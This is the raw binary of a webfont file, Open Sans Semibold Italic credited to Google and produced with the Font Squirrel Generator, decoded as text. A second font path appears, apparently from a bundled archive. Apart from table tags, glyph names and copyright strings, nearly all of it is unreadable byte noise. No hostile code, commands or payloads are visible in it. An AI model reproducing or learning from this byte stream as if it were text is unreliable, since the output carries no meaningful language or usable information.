�$9��99��9�
�99�!�9014$32!#3267#"&32654&#"^�	�������+qpH�a`�c����@?`���U�����o~&.�,%��kb39������+��+��2�+�/���/� +�6�>���+
��	�������	+�	+��+�+�	....�	........�@��9��9��9��9��901327#?>32&#"3##"'�@2�+ٳ�,��s`=J>ES�%��(��Z;����jL\Ƨ+�VbV��㽲���wf'4A��%+�+�+�>+�2�
+�>+�8%

+�8+�B/�ִ(0+�(�
+�5� ��0+�5�<+��. ��"�C+�6����+
�2�1���� �� +�  � �#9�12....�12....�@�
�%999�5�+9�.�
8>$9�"�9�+�"$9�8�99�>�
9901467&5467&54632!#"'!"&732654&/32>54#"y��L]d���PP���4(o?<��������or��Zq�pxGBA_5�Ab6�g�4-REe/Q����!:O��(@&�z�֖�AMle3:jGMN�Q�M�/J��+�333�
+���/�ֱ��+���+�
�
+��/��+�6�>���+
�������>���+
��������+�+�+�+� � �#9�9�9�9�........�......�@��9��
99��
9901333>32#654#"/J�9.T�]�����p�-b��~�Kj^��Lb�s�Z%���-/V�\�+�3�+�3�
/�+�/�ֱ��+�� ��

�+�6�>��+
�@��
9901334632#"&/���/NG5BPA5FR��bDT56GR4���V�x�
+��+�3�/�+�/�ֱ�
 ��
�+�6�>���+
�������..�..�@�
�99�
�9��9013273#"'4632#"&��@5�'�&��Z;RLG6APA5D����!��7DT56GR3/���+�
33�+�/�ֱ��+��+�6�>��!+
�������>���+�+�+�
+�
 � �#9�9�9�
.....�
...�@��999��9901333!	!/J�1#��#��шM���|�����`��/dI�+�3�/�ֱ��+��+�6�>��+
�������..�@0133/J���/�f&��+�333�+�+�3�"�2�'/�ֱ&�&�+�+��+���+��+��/��(+�6�>���+
�������..�..�@�&�99��"99��	99��99�"�	$9013336323>32#654#"#654#"/�	���"K�g����yl�+e�un�-bR���tw��@u�s�_&����R-���+/Jf��+�
33�+�+���/�ֱ��+�+��+�
�
+��/�
�+�6�?	��+
����
���..�..�@��99��99��
99901333>32#654#"/�	S�g�����H�pbR�vk��Ep�s�Z)�r׈�+^��7d
D�+��+���/�ֱ��+��+��99��99014$32#"&732>54&#"^���ܒ�����caZ�Pb[]�Q��L�������ov���ky����Pf s�
+��+�+��/�!/�ֱ��+�+��+�	�"+��$9��
$9�
�99��	9990133632#"'#32654#"7R�	������X
`�]UU�V�Q�e�>��η��ưaX�1a`k��ɟ��^�f"_�+��+�+��/�#/�ֱ��+�
�$+��99�
�$9��999��9014632373#>7##"&732654&#"^�[
@����K?T�Z���P�a[QV�Yo�f�����]8�lZͼˢ�^k���/�fH�+�+�+���/�ֱ��+�+�+��99��9901333>32&#"/�	S�]>.360~�'jR�xi����qf"_�!+��+���#/�ֱ��+��$+��	!999��999�!�9��$9��9017532654&'.54632&#"#"��axEk}gֶĖL�~I[BfiX.�Ҿ/�ZPE3I=C�_��T�LB;-F7;TcA��\��%H��+��+��2�
+�@	+�+�/�ֱ�+�6�>��+
�.�����	��	..�	....�@��9��9��99��901?3!!327# 547\���4'��z
23DS#x<��y�nR���7%+3��9J:o���R��+�+�
�+�33�/�ְ2��+���+�+��+��+�6�>���+
��������+�+� � �#9�9�....�...�@��
99��99�
�99901467332>73#7##"&o{�H�nc��R�g��?{>H���4�rӎ���tm�dPR0�+�+�	3�
/�ֱ�+��9��90133>73!d�7T7�����R����J�)V��y^Rb�+�3�+�33�/�ֱ��+�/��+�+� ��	+�+��99��99901336733>3!'7!y�
	B+�P/���5����R�zW��`k��5�2�n��sF�>~�;��TR&�+�3�+�3�/�
+��
9901#3!#V���3�����9��u�����}�V�RR<�+��+�3�/�ֱ�+��9��9��9901326?33673#"'�K2Jx@3��?	V1%��PZԏLC��Wp\\��>�E�b>������R	.�+��+���
/�+��9��901#7!7!!'{�I'�%���%�
���
���J�'��	+��/��/���(/�&ִ'+�&
+�@	+�� ��!0+�!/�0+�)+�6�>��+
�#�������#�#+��+�+�#�$#+�$# � �#9�9�9�9�#$........�#$........�@�&�99��!99��99017267>;"3# 54?654'x�;Z�{<)`WF~t�+AM'��-�Ue��<�DR��l}-�&S�03/��=H�A!����/�ִ+�+�+013��������&��+��&/��/���'/�
ִ'+� ��0+�(+�6�>k��+
��
��"�����
+�
+�"�"+�!"+�
 � �#9�9�!"9�9�
!"........�
!"........�@��99��99��
9901>7>75&54?654&#73 3"+Xj]F~t�+
VN#>-�'y�?"���EP5mz0�7B�,:(��=H�A!��Td��o;+h��/�33�	�2�	+�3��22�/�+�6��u�t+
�.�.���������++��+�+��+�+� � �#9�9�9�9�....�........�@��
9�	�90156323267#"&'.#"od�@m\FZ12}:g�?zMLW03z;�l'>:�o!! >���
^.�+�
+�/�ִ

+�+�
�9990134632#"&-
��bNA<^P;D����RdG6Pd?��1���+�3�+�3�
+��
+��2�/�ֱ�+�
+�
+�@	+��+�
+� +�6�>��+
��+��+�+�>��+��+� � �#9�.�....�@��9��9��9��
999��	90146?3&#"3267#7.��#�%|aE}ac�YpcJ�A��(�-��J�B���-�5���ox+ �E��"�������+��2�+��
+�33��22�/�+�6�>��v+
���������+�+��+�+�....�........�@��9��
901#76?#73>32&#"!!!&�2#�$�=&湼�X�s�*9M"��!_S�-�-礬+��V�J�꬘b�*���'z�+�%�/���(/�ִ+��"+�+�)+��$9�"�$9��	
$9��$9�%�	
$9��$90176327'#"''7&54732654&#"�wfilcy�==w_pxWu==k}\[��[\}!w=?�u�clr_}w;;}w}_pn_�[~|]]~�j����+�3�
+�3�

+�33�+�22�

+�3�+�22�/�ֱ�� ���/��+�6�>��I+
��������+��+�+��+�......�@��9�
�	901?!7!73333!!!#7j!��#��������#��!��5�3���c���������#�/�ְ2�+�2�+�	+013#3򲲲;�����'���#,8��++��/���9/�ִ-+�-+��-�3+�#'+�(#3+��/�(�:+�-�
+999��	99��0699�3� &$9�(�!9�+�9��(06$9��9017532654&'.547.54632.#"#">54&''��ttNf�v�/>߹��D>�MVaIpwilf�ϼ�]>KcjES5�]QG+I0<�b�w dA��N�+E<+C28�`\�=Lu��'=W9$m<<Y-j��5�	/�3�,+�2�,+�/�ֱ��+��+014632#"&%4632#"&�F?09G:/>F?09G:/>d<L/0AJ/3<L/0AJ/���b�5��+�+�+�+�3-
+�3+�#(
+�#+�6/�ִ
+�� +�++�+�+�
+�7+�+�#%03$9�-3�19�(�&0$9�#�%9014$32#"$732$54$#"4632&#"3267#"&��^��]�������{�$��%���ݭ��ۨ��NJ�DjZq}�/�,u{����^��������Zƨ�߬�!��#���۫�B�7���� �3��;�l�+�3�+�/�+�/�ִ+��+�

+�+��$9�
�
$9��
99��9��9014>32373#7##"&732>54#"�^�]q5'v�{
2`=[i�]2_;fRq���rgZ�Ti>7�x}`�Ow�Pd�
55P��������蓴)�v����L��p����Lu+3�/��
+�@	+�/�ִ+�
+�@	+�+015!#u��w���w/�R�!�/����/�ִ
+�+017!/-�-������b�,5��+�+�+�+�+-
+�++�+-
+�@+ 	+�(2�"5
+�"+�6/�ִ
+�� +�,+�-2�,�1+�$+�$�+�
+�7+�1,�*$9�$�')99��(9�-+�'$9�5�$9014$32#"$732$54$#"! ##32654&+��^��]�������{�$��%���ݭ��ۨb
Q[U�Ȭ[HTZ[SH��^��������Zƨ�߬�!��#�����n��S|$��E���H?I8o%��/����/�+017!o'�)���;N�N�+�+�	/�+�/�ִ

+�
�+�
+�+�
�	99��99014632#".732654&#"�ˆ����X�X�hJHhgIJh���ˆ��X�XFhhFJhgu�d�+��/�3��	2�
+�@	+�
+�@	+�/�ְ2�
+�2�

+�@
	+�2�
+�@	+�2�+0135!5!3!!#u��X{�y�������}�����vNJ�N�+�	+�/�+�/�ִ+�+��99��9�	�999��9017%>54&#"'>32!N
oK#80[dPD�^s�/ev�s!J��_RH&.4P{67x_Eon[��h9�#�+�+�"/�+�	/�
+�$/�ִ+�� ��+�/�+�%+��99�"�9�	�99�
�99��99��901532654+732654#"'632#"h~zZc�l]Yku\`D~�|�mhNJǪ�q�GJEq�DAdAyZobZvbB�����!(�/�
+�	/�ִ
	+�
+��901567!�a�6�G�l�B�4���R��+�+��+�33�/�3�/�ֱ��+���+�+��+�
�+�6�>��+
�>��+��+�+� � �#9�9�..�..�@��9��99��99��99��9901332673#7##"'#7R�B?q�-f��
K�Wl/	B�>�bT-AH�����ocQI�������L�/��
+�@
	+�@
	+�2�/�
ִ	
+�	�
+�/�	�+�
+�+0163!####"&���E���>S�����f��3����9�juV�D��A�+�+�+�/�ִ
+�+�
�	
99��9��
99013254&'73#"'�/1�FEb�2H@��@6��`(+	�`T;jz�J��
`�+�3�
/�/�ִ+�+�6�>��+
�.�������...�..�@��9�
�901%3#67�S���c(9}����O�.P��
N�+�+�/�+�/�ִ+��+�+�+��99��99014>32#"&732654#"�X�k|�T�nz��pMejQgz�o��~�p�~�����
\��
77%7
���&���s�\`L�P�PqJrL�9�^�����'��&{�������y�'�w&{�t����l/�'�!'�+��u��u�Z%n�+�#+�/���&/�ֱ��+�2� 
+�+�'+��
$9��#999� �9��9�#�99901467>733267#"&4632#"&#��]`�mtkM%TQL�OK�̮��]OB?`R8CDx�u@u_��SONP0GW7&�p��NfD5UcA����Ns&$C��R�����s&$v�R�����s&$�ZR�����H&$�sR����s>&$j\R����N&$�m��%���+�3�	�+��22�
+�3��
2�
+���/�+�6�>��+
�
.�.�
�	
���
��	�	+�	+�
�
+�	
.......�@01#!!!!!!!	!#y��+��T�+�
b+��V�P��X�R��u�5���jf�����!�&&z+��F�s&(C��R��F�s&(v}R��F�s&(�?R��F�>&(j5R��Fvs&,C��R��F�s&,v��R��Fis&,�>R��F`>&,j�IR5�
��+�3��+�3��
+�33��
22�/�ֱ
�+�6�>��+
�.�.��
���
���+�
+��+�+�
........�@��990173! )32$54&+!!5-��q$�����o��������^-��o�����l�o�Z�8ȸ��I���D�H&1�R������s&2CoR������s&2vR������s&2��R������H&2��R������>&2j�R��7			'�}89��7{���z3
}��5{���{5��{7m���'q�+�!�+���(/�ֱ��%+��)+��999�%�$9��	
999�!�999��'$9��	9901?&5$327#"'&#"32654'm�g�Vٽ�w��^����}v��Pu��{Kw��|�����^�h����L�S�wXLDA�����8�R�X7������s&8CNR������s&8vR������s&8��R������>&8j�R���s&<vfRFd���+�3�+�3�

+��
+���/�ֱ��+���+��+�6�>���+
��+�+�
+�+�
....�@�
�9013332!#32654&+F5�3a����lBk`��wyy����������mb����9��+��7+��1/�	��:/�(ֱ��"+��. ���;+�6�>��+
����4
��3��34....�34....�@�(�	%+1$9�"�,9�.�99��99�7�99��9��9�1�999013267>32#"'532654&'.5467>54&#"#"'��=4AS0��ѳv=JkH&�ƶe~~iv/XRNY[bQ^U�4��*��EH��Wh��̠���WA#,9TVc<��A�VXP0JF@sEK�<B\4AH�Ů��^��!&DC���^��!&DvZ��^��!&D���^���&D���^���&Dj���^���&D��^���f)7A��"+�+�'3��-2�	+�+�3�4�?2�8
+���B/�ֱ*�*�"+�!
+�!�<+��C+�"*�'-4$9�!�#$1999�<�8$9��99�"� 99��#$*$9�48�1<999�	�99014632373>32!#327#"'#7##"&732654&#"%32654&#"^��X�,	?�3�d������-ys}����S�U�^���J;U�`MKU�S���D3g�o�b�W[�u?J�}��<uxT�O�u�jZλib��[n���yk`:4���^��f&Fz���^���!&HC���^��!&Hv1��^��	!&H����^����&Hj���/!&�C����/!&�v�8��/	!&�����/��&�j��P��{%+Y�+�!�(/���,/�ֱ��+�'+�-+��%$9��99�(!�9��9990146323&''7&'77#"&732>54&#"P��`�)
{�H�,[j�P�Fٛ�������b]\�Nh\[�J���MF󌎁y)7�HJ�y�����ַhow�jatp���/}�&Q�%��^��7!&RC���^��7!&RvH��^��7!&R����^��Z�&R���^��7�&Rj�u��4�
/�+�/��/�+�/�ְ2�

�2�+015!4632#"&4632#"&u���?>>AE::C?>>AE::Cw����@GH?@IG�@GH?@IG3��Z�&r�+� �+���'/�ֱ��$+��(+��999�$�$9��	
999� �999��&$9��	99901?&54$327#"'&#"32>54'3sF���gV}d?����bi��-L��T)OY�U�h��J�=l`ud����;�'#%#��D!��-��o���!&XC���o���!&Xvs��o���!&X���o����&Xj���V�R!&\v���P$��+��+�!�/�3�%/�ֱ��+���+��&+�6�>��+
�������>��+�+�+�+� � �#9�9�9�.....�...�@��99��$9��!99��9�!�9990133632#"&'#32654&#"7��023������^�+`�\VV�VRMT�`����̹���[U[^�1abi��de������V�R�&\j�/R?�+�3�+�3�/�ֱ��+��+�6�>��+
�@0133/���R�����R�!��+��+��+�	�+��


+�
��"/�ֱ
�#+�6�>��+
�.���
���	
���
	+�
	+�..�	

......�@�
�9901$32!!!!!!# 327&#"��VّN�+��T�+�`+�3TV�����JA�Dq�����u�5�+
�����^���f"/9�� +�3�&�2�+�,�	+�7�0 	
+���:/�ֱ#�#�4+��;+�4#@		 )0$9��99�& �99��#99�,0�)4999�7�9014$32>32!#3267#"&'#"&73254&#"%32654&#"^����bI�}������/qqE�o[�ax�0����a[��cZW�W���<9i���M��[g����<o~#1�+$\\���tz%�ou��Lle08����>&<jRb�+!
!�/�3�
+�/�+��9015>73#&'b�~�&��LU�i���(c�?snD���L�	/�+�/�+�/�ִ
+��+�
+�+��	99��99014632#"&732654&#"�gh��jj�53/<</-;�g{ygh{zg1771299F�X�E�/��
2�+�
�2�/�ִ
+��
+�
+�+�
�
99013232673#".#"F9�.NC<(2�B�-KD? &2�#)#5<��")"78/�R�!�/����/�ִ
+�+017!/-�-���/�R�!�/����/�ִ
+�+017!/-�-���/�R�!�/����/�ִ
+�+017!/-�-���/����/����/�+017!/+F+���/�w��/����/�+017!/++���w�1�"�+�	+�/�ִ

+�	+01673#w"�W�zM��L
����s�/�"�+�	+�	/�ִ

+�
+01673s+~�%�R�_@VS������V� �/�	+�/�ִ

+�+0163fi_�l�����w����+�
3�	+�
2�/�+01673#%63#w"�W�zM��T��zM��L
�����!���s����+�3�	+�	2�/�+016733673s+~�%�R�3t �	b��_@VS��r&]��������
�/�3�	+�	2�/�+0163373fi_�l��xO�	\�����������.�	/�+�+�/�ִ
+�
+�
+014632#"&���du��fq���mr��s��%��o'!'1Pdb��/�ִ
+�+015P����%�v����L
\��/�ִ
+�+��90177
!���t�NnL�@�Z��!3�=����JFJ�
��+�3�
/�3�+�22�

+�@
	+�	2�/�+�6�>��+
�	.�.�	�������+�+�	�
	+�	+�>^�+�
	+�
	 � �#9�
..@		

.........�@�
�901733##7'3?F��y{z'�'��4" B��9�͏���݁3P3����'b�$+��
+��$

+�3�+�2�$

+�3�+�2�(/�)+�$�"9��!9��9�
�
9017367#7332.#"!!!!327#"53!�� �\G�X�Pf6jBv�A�!�n
T!��y�x������_,�,7�",���CH���<�=�q���{�+�	33�+�2�
+�@	+�222�/�ִ
+�
+�@	+�
+�@	+��+�
+��+�
+�+��
$9015!##33#7###qƒ�ת�͒�w�7��R�����/�y��s�XQQ!!Q��Q������
&IL�����&IO����9=I`�:+�=3�7+�*3��/2�� ��-3�9�,2�+�#;<$3�3�&2222�+�/�3��2� ��3��A22��G+�J/�:ֱ=�=�;+�<�> ��D
�K+�6�>��+
��	��4����>=�+
�2.���&��"��>��+
��	+�	+�4�4+�2�2+�&�#&"+�4�34+�	"4......@	"#&234..............�@�=:�%$$9�<>�AG99�3�9��>D9901327#?>32&#"!7>32&#"3##"'5327!#"'34632#"&�@2�,ٳ�,��s`=J>ES�,��u`>J=GQ�'��+��_6<6�(�J�(��Z;h���1NE6AOB3F����jL\Ƨ+�VbV`Ũ+�VbV�������㽲�R��bDT56GR4���9=E�:+�=3�7+�*3��/2�� ��-3�9�,2�+�#33�3�&2222�+�/�3��2� ��3��2�>/�:ֱ=�=�;+�<�?+�6�>��+
��	��4����>=�+
�2.���&��"��>���+
�:�;��=�<���	+�	+�4�4+�2�2+�&�#&"+�4�34+�	"4;<........@	"#&234..............�@�=:�%$$9�3�901327#?>32&#"!7>32&#"3##"'5327!#"'	3�@2�,ٳ�,��s`=J>ES�,��u`>J=GQ�'��+��_6<6�(�J�(��Z;fL�����jL\Ƨ+�VbV`Ũ+�VbV�������㽲����	̺�_<���������s�������d����-!Z�+3h=���B��N�fb�hu���/'!��h\h�h��hh��h5hoh}hLh\'!'��hshuhs���d����F��^F5FFw��F`Fd���F�F�D�D���F���F!'�w�������D�D��w���w�q-%-�Do�^�/�^�^3^��+���/3/3��9/3//�/�^����^D/��\�o�dy���V����h���ho-��h�h��h�hjh��'o�����Phu�/���om�hu�N�ho���=�'���D����
}�}y�l�������������������������5F5F5F5F`F`F`F`F^5�D����������h��mw�w�w�w�D��F��^�^�^�^�^�^�^�^3^3^3^3^3/3/3/3/�P�/�^�^�^�^�^hu�3�o�o�o�o�V����V3/��^D�ob�oF�s�s{�==�}i�/�/�/�/�/�w�s��#w#s�����b%}mPm
���Fh3�qQ�����2222l�xz.��2V���h��n�F��b�	 	X	l	�	�

�L�p�

|
�^��z^�"��6��V��Dt���~�,��j\�8l��@��L�Fz�\� > Z �!�!�!�"\"�#V#�$$�$�%�%�&&6&T''"'p'�((�(�)@)�)�)�**f*�*�*�*�+,+8+D+P+\+h+t+�+�+�,
,,",.,:,F,R,�,�,�,�----@-�-�-�-�-�-�.d// /,/8/D/P/\00"0.0:0F0R0^0j0v0�0�1111$101<1�1�2
22"2.2:2�2�33�4:4F4r4�5555555555555$5B5`5z5�5�5�6646f6�6�6�6�6�77&7&7�88~8�8�8�9�:��J<sf	r	r	�	�	2�	�	.�	�n(Digitized data copyright � 2010-2011, Google Corporation.Open SansSemibold ItalicwebfontOpen Sans Semibold ItalicVersion 1.10OpenSans-SemiboldItalicThis font was generated by the Font Squirrel Generator.���ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E�+�+D� E�U+�+D� E�-+�+D� E�+D�	 E��+�Fv+D�
 E�	t+�Fv+DY�+PK!o�1x�u�u=bluetheme/assets/fonts/OpenSans/OpenSans-Semibold-webfont.ttfnu&1i�FFTM_��vGDEF( OS/2��\H`cmap�\l���cvt 
V
o�0fpgm�/��egasp4glyf����<c�head�f�hj6hhea�jH$hmtx\S/jl�loca�3�n$�maxp�p name&�A�p$�post- �q��prep�t�ut��ɉo1����%�\X�3�3�f���@ [(1ASC  ����X �R� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�R��������������������,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�<�+�'+�+�'+�/�ִ+��+�+�	+013!%!!�I�y����Jh������:�+�	/�+�/�ְ2�+�+�
2�+��90174632#"&!#�NHGLMFGO3�}JMPGGSP������@�+�3�+�2�/�ִ+��+�+�	+��99013#3#��)�b�)������/��Z�+�333�/�$3��$2�/�$3��	

$2�
+�@	+�222� /�ִ+��+�+�
+�@	+�+�+�
+�@	+��+�+�!+�6�>��h+
�>��+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@015!!5!3333!!!###73#/9��%P�P�P�P���7��P�P�P�L�9������Z��Z���^��^��o��' '-��/�3�
�(2�
+�@	+�/�/�%3��2�
+�@
	+�./�	ֱ!�!�+�$222�+�(222��*+��/+�*�99��9��!$-$9��90175'.546753&'#5&654&'oV�[T��׸�˶I��L���ȅ�TG]PT)�Q_��*9v?������K�>��I�u�����9L%7J��|:K#T����
#-��+�!+�'�+�+��!
+��+!
+���./�ִ+��+�+��+�$+�$�)+�+�/+��999��9�$�9�)�!999�'�$)$9��$901!2#"&732#"3	!2#"&732#"T?�������:B��B:d+���@�������;B��B;������ܕ�''��k��J�������ߕ�)%�`����&2��+�+�!
�	+�0
��3/�ֱ��' ���/�'��-+���+��4+�'�9�-�	!$$9��#9��99��99�!�9�0�$*$901467.54632673!'#"$7327>54&#"`��_Eٷ�ʇ�ZQ6�F�-�ѕf����u����jPkC<q[WHO]���`o�R����r�]��k��ݑRS��b{kyDw�?p?@oEANQ��m�"�+�+�/�ִ+�+013#��)����R��L�
�+�/�ֱ�+0173#&R��͋���˓�1	ή��-��6���=��7�
�+�/�ֱ�+013#654=͓���ˊ�����1�����:�����Jj73%'J#x)�)����Ǧ���)�l~��l���kR��k7`�1�U�/�3�	�2�
+�@
	+�
+�@	+�/�
ְ2�	+�2�	

+�@		+�
	
+�@
	+�
+015!3!!#`����q�y���h��j�?����%�/�	+�/�ֱ�+��90173?E"�0�������H�J�"�/�
�
��/�+�+�+015!H�������.�	/�+�+�/�ִ+�+�
+0174632#"&�LHILMHHL}INQFGSR�33!����JX��9�D�	+��+���/�ֱ��+��+��	99��990132#"32#"X��������{��}}��{��o��������~q��'&����
'�+�+�/�ֱ�+��99013#47����C�dR�J��c:�Z9�S�+��+�	
��/�ֱ�
+�@	+�
+�@	+�+��9�	�999��
90135>54&#"'>32!Zy�m2wiT�gz��G�����{��~Hcr>Q�gVմc����
�V��-�&j�%+��+��%
+���'/�ֱ"� ���
+�@	+�(+�%�9��"99��99��99��9017532654&+53 54&#"'6!2!"V]�`�����^zwS�is�
���������;�.2~�un��^f/D������ ����'m�
d�	+�+�	
+�3��2�/�	ְ2��2�	
+�@	+�	
+�@		+�+�	�999��9��901533##%!47#'�����?�
<?��H��?�o�}B^u��)�|�+��+��	
+���/�ֱ�+�6�?��1+
�.�
������
..�
....�@��99��9�	�99901753265!"'!!>32!"uQ�Z����/�4i8���!#eI����;�.2��>������^��?�$j�+��+��!
+�
��%/�ֱ�
2��+��&+��$9��99�!�99��
9��901!2&#"3>32#"&732654&#"^�nLLd��
/�s���ޝ�}�wy�{{L�JoZ����QY����!X����~�AqJ=� �+�/���/�+��9015!#J�B�Ϥ���X��9�#0j�+�	�	+�.	��1/�ֱ� ��$��+��� ��+�+/��2+�+$�	!$9�.�!($901467.54632#"$732654&/>54&#"X���r���������}�����t/,Tdxc{fdzsz�LP�o�����V�u����hswfQ�9
:��4RC/5uNUccV��7�%j�
+�
�+�#�

+�
��&/�ֱ��+�2��'+��
99��
$9��
9��9�#�9901432!"'532##"&732654.#"Vޜ�~�����:YZ��;�p���y{w�E|Pz�������P�V�ZP��}��_Y�Z�����j7�	/�+�/�+�/�ְ2�+�2�+�+0174632#"&432#"&�LHILMHHL�KJMHHL}INQFGSR��PGGSR?���j=�/�	+�/�ִ+�+��/��+��	9990173432#"&?E"�0�i�KJMHHL������ۗPGGSR`�1�5	`�#��y������f�)��/�	�/�	��/�	+015!5!f�=�������`�1�75	5`�#���/X�y��m�&m�+��$/�+�'/�ִ!+�!+�
+�!�+��(+�
�$$9�!�
	999��
999��901632#5467>54&#"432#"&����,Ym]?�PdwEpi_�M��HLMGGLZq��KujUI`Q-@n�N^hHTZ6&�ӗOHGSQo�V��5?��.+�3�+�'�83
+� 3��2�=3
+���@/�ִ++�+�+�6+�6�:+�+�+��#+�+�A+�:6�'.3=$9��99�#� 01$9�.3�19��09�=8�#+$9��901$32#"&'##"&543232654$#"!27# 327&#"o����S�Z�kOt1�Z����L�HhO]�����Ŧ6"������bK��?H��J�ش��ڏ�THNNҳ��/�̞��������Z�V��%��J�,�+�3�+�
+���/�+��
9011!#!!.'##���я���5
4��D��jd�(�({����!g�+�
�+�!
�
+���"/�ֱ�2��+�� ���#+��	99��9��	99�!�9013! #%32654&+532654&+��.
�|����������斊��������
�����s|rn�_rg\y����=�+��+�
��/�ֱ
�+��9�
�999��9014$32.#"3267# y�<��VJ�[����]�^�������V�^�#5������%�A��f�8�+�	
�+�
��/�ֱ	�	�+��+�	�9013! !'3 !#��]��n����������������
���G�+�	�+�
�
+�
��/�ֱ	�2�	
+�@		+�2�@		+�
+013!!!!!�;��'��L��r�5����	@�+�+�
�
+���
/�ֱ	�2�	
+�@		+�@		+�+013!!!!�9��'����7��y��1�x�+�
�+��
+���/�ֱ��+��
+�@	+�+��999��99��9��99��9��901!2&#"327!5!# y�d��T�����t��������a�X�R�����y�"+$��B�?�+�3�+�3�

+���/�ֱ�2��+�2��
+0133!3#!�����^���V�J��m���!�+�+�/�ֱ��+0133����J�d�h��-�+�
/���
/�ֱ�+�
�9��9013253#"'�T>����bB��������0�+�
3�+�3�/�ֱ�2�+��99013367!!��ba����4��5���Fxo�>����s����,�+��+�/�ֱ�
+�@	+�+0133!��k������^�+�33�+�3�/�ֱ�(+��+��+��9��$9��
99��999013!3!#47###�Q��R��I�X��u��J�m^%�=���9���R�+�
3�+�3�/�ֱ��+�
�+��
99��99�
�99��99013!3&53!#�"���1��y!Q��J�A���y����D�	+��+���/�ֱ��+��+��	99��9901! ! 32#"yeKFd������������������j��v�����t�h���
�����
B�+�+�
�	
+�	
��/�ֱ
�2�
�+��+��9013! !#32654&+����������������쀈~|y����S�
+��+���/�ֱ��+��+��	$9��
9�
�	9��9901! !# 32#"yeKFd��^����'��������������j��v������J��H�h���
���
�[�+�3�+�
�

+���/�ֱ�
2��+��+��
99��	9�
�9��9013! !#32654&+�������즧��������t�yH��|z|ld���$h�#+�
�+���%/�
ֱ��+� �&+�
�9��
#$9� �999�#�9��
 $9��9017532654&'.54$32&#"#"dd�a��|�Ȥ���LÙtx0n���F��9�/6l[RrNQВ��\�ReS9QH;Ct�c��h�:�+�+��2�/�ֱ�
+�@	+�
+�@	+�	+015!!#K�R��������;�7�+��+�	3�/�ֱ��+��+��90133 3# ��R��������c��c��N�� ��!�+�+�	3�
/�+��9013>73#�16
61�����sA�2L�0��J����+�3�+�	$3�/�ֱ��+��+�6����+
�������>�+
�.��������q�~+
�	.�
������+�>I�I+��+� � �#9� � �#9@

..........@	
............�@��99��999013>73673!.'!��1,���#'9����0
-����͝U�AV��w��R�Jh9�*@�2�����&�+�3�+�3�/�
+��
99013	!	!	!	�:
RR�7��������)�<�V����0�+�+�3�	/�ֱ�
+��9��901!	!#ZZ����e�����/BX�	.�+��+���
/�+��9��90135!5!!B�3���Cͨ������q�7�+�	�/�	��/�ִ	+�2��	+�2�	+01!!!�������g��3#� ���J3���@�+�	�/�	��/�ְ2�	+���/��	+�/�	+01!!5!!3��+����/�3#	�y�������Y��J����s�H�/����/�+01!!w����j�P!	(�/�
+�
/�ִ	+�+��9015!#.j&�,�E�F�34�Z��f&�+�+�	�+�	�$
+���'/�ֱ��"+�2��(+��99�"�999��9��99�$�9��9��9��90146%754&#"'>32#'##"&7326=Z��chU�HLZ�_�ר/P����XX�����=��;ji2"�/1���eI��JQ��`c����k�+�+��	+��	
+�@		+� /�ֱ�2��+��!+��999��	99��9��9�	�901333632#"'#3265!"��
p������t+;��}����}��)������ї�+ʵƻy��f���f=�+�
�+���/�ֱ
�+�
�9��999��901!2&# 327#"f��G�a�Ꮚ��?�f���#,A�:����N�% %f��Ts�+�+��+��
+�@		+� /�ֱ��+�2�
�!+��$9�
�999��
99��9��9901323&53#'##"326754&#"f���r�)q���򂂑���|�'/�wE��쑥,����!Ѱ�f��9ff�+�
�+�	�
+���/�ֱ�2��+��+��999��99��9��9��90132!3267# !.#"f�����b�aV�q������pp�!6�����%+�)"-����#B`�+�+�	�2�+�/���/�ְ2��2�
+�@	+�
+�@	+�+��9��	9��9015754632&#"!!##���|x>WOPI����nHHĽ)�ccH��`��Nf+8C��)+�/�+�A�2�+�A�6")
+�6
�<)
+�<��D/�ֱ9� ��,0+�9� ��+�/�+�9�>+��2>+�&�E+�9,�	99�>�#)/<A$9�2�9�6/�&99�"�9��99�<�	99�A�99901467.5467.54632!#"';2!"&732654&+"3254&#"�t/=FEVk��/g�"��5+LG_��������҉|��g��ewekd�egfi�f�Y1>V*%�p��
�##f9��/?&&���̠�LRn[H=_Ghp�lut�uU�+�3�	+��	
+�@		+�/�ֱ�2��
+��+��9�
�	99�	�901333>3 #4&#"��0�r��gp���u_lPX�k�/��~������9�+�
+�	/���/�ְ2����+��	99014632#"&3�E@>EE>@E�w?DD?<EE��R�������G�
+��+�/���/�ְ
2���+��99�
�9��9013253#"'4632#"&yDG�볩jFE@>EE>@E������J?DD?<EE��7�+�
3�+�/�ֱ�2�+��99��99013337!	!���N�C����	զd�%���j�����+�/�ֱ��+0133�����f#p�+�33�+�+�
3��2�$/�ֱ#�#�+���+��%+�#�9��9��
	99��
9��	
$901333>3 3>32#4&#"#4&#"��!.�i�S1�sƵ�af��`f�R�OV�R\��/�}�����}����ufL�+�
